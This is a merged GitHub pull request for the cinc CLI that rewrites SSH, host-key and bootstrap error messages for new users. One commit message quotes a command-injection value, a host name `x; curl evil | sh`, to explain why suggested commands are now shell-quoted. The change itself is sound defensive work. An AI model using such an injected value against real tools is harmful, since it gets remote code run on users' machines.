Skip to content

Explain node ssh and bootstrap failures for new users - #323

Merged
tas50 merged 5 commits into
mainfrom
errors-node-ssh
Nov 27, 2026
Merged

tas50 merged 5 commits into
mainfrom
errors-node-ssh

Conversation

@tas50

@tas50 tas50 commented Nov 27, 2026 •

Copy link
Copy Markdown
Collaborator

SSH failures in node ssh and node bootstrap surfaced as raw library errors, and the command-level errors didn't say which argument was missing or what to do next. Each failure now says what happened, why, and the command that fixes it.

Before / after

Unknown host key

Before:

web01.example.com	ssh handshake: ssh: handshake failed: knownhosts: key is unknown
Error: node ssh failed on 1 host(s)

After:

web01.example.com	web01.example.com isn't in your known_hosts file, so we can't confirm it's the right machine
Error: node ssh failed on 1 of 1 host: web01.example.com. Each host's output is above, with the host name at the start of every line.

web01.example.com: web01.example.com isn't in your known_hosts file, so we can't confirm it's the right machine
Every SSH server has a host key that proves which machine it is. Before logging in, cinc checks that key against /home/user/.ssh/known_hosts, the list of servers you've connected to before, so a machine pretending to be web01.example.com can't collect your login. This host isn't listed yet. It offered the ssh-ed25519 key SHA256:cVLw...

To trust it, connect once with ssh, check that the fingerprint it shows matches the one above, and answer yes:
  ssh ubuntu@web01.example.com
Or add its key without logging in:
  ssh-keyscan web01.example.com >> /home/user/.ssh/known_hosts
On a network you trust completely, such as a lab or a throwaway VM, --no-host-key-verify skips the check.

A changed key names the known_hosts line, both fingerprints, the man-in-the-middle risk, and ssh-keygen -R. A key-type mismatch (known_hosts has an RSA key, server offered ed25519) is called out as usually harmless.

Rejected login (was ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain)

web01.example.com didn't accept the login for user "ubuntu"

We tried the key in /home/user/.ssh/id_ed25519 and the keys in your ssh-agent (/tmp/agent.sock), and the server turned them all down. Check that:
  - "ubuntu" is the right account on that machine. Cloud images often use ubuntu, ec2-user, or admin; pass another with --ssh-user.
  - the account's ~/.ssh/authorized_keys on the host holds the public half of your key, or that --ssh-password is right.
  - you can log in by hand:
      ssh ubuntu@web01.example.com

Failed bootstrap

Before (stderr hidden behind the exit status):

bootstrap failed on web01.example.com: Process exited with status 1; client "web01" was created and may need cleanup before retry

After:

bootstrap failed on web01.example.com: the bootstrap script exited with status 1. The last lines it printed:
  curl: (6) Could not resolve host: omnitruck.cinc.sh

The script installs Cinc Client on the host, then runs it once to register the node. Before connecting, bootstrap registered a client named "web01" on your Cinc Server, holding the key the node uses to talk to the server. A retry fails while that client exists, so delete it first:
  cinc client delete web01
If that first Cinc Client run got far enough to save the node, `cinc node show web01` will find it. Delete it too before retrying:
  cinc node delete web01

Missing argument: node ssh requires search query, command, and --ssh-user becomes

node ssh needs a user to log in as (--ssh-user). For example:
  cinc node ssh role:web uptime --ssh-user ubuntu

Empty search: node ssh found no hosts for query "web" now shows the expanded query it ran, explains field:value syntax, and suggests cinc search node role:web and --skip-search.

Also covered: connection refused, timeout, DNS lookup failure, no login method available, missing/unreadable/passphrase-protected/.pub identity files, missing or malformed known_hosts, unreadable ssh config, and the --policy-name/--policy-group/--run-list/--environment combinations.

Behavior changes

  • node ssh and node bootstrap check the SSH settings that don't depend on the host (user, identity file, known_hosts) once, before searching or registering a client. Bootstrap also validates the node name before creating the client. Previously a bad --ssh-identity-file or a node name with a newline was found only after the client existed on the server, which blocked the retry.
  • node ssh's summary explains each kind of failure once and names the hosts it hit, so a fleet failing the same way doesn't repeat a long explanation per host. Per-host lines stay one line.
  • CommandResult gains reason and hint in --format json.
  • Wrapped errors still unwrap: errors.Is(err, fs.ErrNotExist), errors.As to *ssh.PassphraseMissingError, *knownhosts.KeyError, and *net.DNSError all work.
  • Values in suggested commands (host, paths, key type, user, node and client names) are shell-quoted, and host names, error text and bootstrap output have terminal escapes and control characters removed, since a node's search attributes and a server's key type are untrusted.

Unit tests use an in-process SSH server; the nodes/ssh-* and nodes/bootstrap* integration cases pass.

SSH failures surfaced as raw library errors ("ssh: handshake failed:
knownhosts: key is unknown", "parse ssh identity file: ...") and the
command-level errors didn't say which argument was missing or what to
do next. Each failure now says what happened, why, and the commands
that fix it.

- cli/remote classifies connection failures (DNS, refused, timeout,
  unknown or changed host key, revoked key, rejected login, failed
  handshake) into a *remote.Error with a one-line summary and a hint.
  Host key errors show the offered fingerprint, the known_hosts line,
  and the exact ssh-keyscan or ssh-keygen -R command. A rejected login
  lists the methods tried. CommandResult gains reason and hint fields.
- Identity file and known_hosts problems (missing, unreadable,
  passphrase-protected, a .pub given as the private key) are
  explained and keep wrapping the underlying error.
- node ssh and node bootstrap check SSH settings once, before searching
  or registering a client. Bootstrap also validates the node name
  before creating the client, so a rejected name no longer leaves a
  client behind.
- node ssh's failure summary explains each kind of problem once and
  names the hosts it hit, instead of only counting them.
- A failed bootstrap shows the script's last output lines (stderr was
  previously hidden behind "Process exited with status 1") and the
  cinc client delete / cinc node delete commands needed before retry.
- Missing-argument, empty-search and policy-flag errors name the
  missing piece and give a runnable example.

Signed-off-by: Tim Smith <tsmith84@proton.me>
A host from node ssh's search is whatever the node reported about
itself, and the host key type comes from the remote server. Both were
interpolated into suggested commands unquoted, so a node with an fqdn
like `x; curl evil | sh` put a working command into the
ssh-keyscan line a user would copy.

Every value in a suggested command (host, known_hosts and identity
file paths, key type, user, node and client names) now goes through
QuoteArg. Host names, host lists, error text and the bootstrap
script's output have terminal escape sequences and control characters
removed before they're printed. A command's own output is still
passed through unchanged, as ssh does.

Signed-off-by: Tim Smith <tsmith84@proton.me>
Escape the right-to-left override in the sanitizer test and apply
De Morgan's law to the shell-quoting check.

Signed-off-by: Tim Smith <tsmith84@proton.me>
The policy and node ssh error tests each defined it; keep the stricter
copy, which also rejects em dashes.

Signed-off-by: Tim Smith <tsmith84@proton.me>
node ssh now checks its SSH options before searching, so the test read
the real ~/.ssh/known_hosts and failed on machines without one.

Signed-off-by: Tim Smith <tsmith84@proton.me>
@tas50
tas50 merged commit 1cd22a5 into main Nov 27, 2026
6 checks passed
@tas50
tas50 deleted the errors-node-ssh branch November 27, 2026 07:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant